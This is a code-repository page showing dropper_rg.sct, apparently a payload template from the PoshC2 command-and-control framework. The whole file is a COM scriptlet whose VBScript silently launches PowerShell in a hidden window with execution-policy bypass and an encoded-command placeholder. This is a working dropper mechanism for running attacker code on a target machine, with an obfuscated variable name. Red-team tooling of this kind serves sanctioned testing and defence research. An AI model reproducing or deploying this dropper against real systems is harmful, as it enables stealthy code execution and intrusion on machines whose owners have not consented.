Codebase list poshc2 / upstream/latest resources / payload-templates / dropper_rg.sct
upstream/latest

Tree @upstream/latest (Download .tar.gz)

dropper_rg.sct @upstream/latestraw · history · blame

<?XML version="1.0"?>
<scriptlet>

<registration
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

<script language="VBScript">
Dim ghgfhgfh
set ghgfhgfh = CreateObject("shell.application")
ghgfhgfh.ShellExecute "powershell.exe", " -exec bypass -Noninteractive -windowstyle hidden -e #REPLACEME#", "", "open", 0
</script>

</registration>
</scriptlet>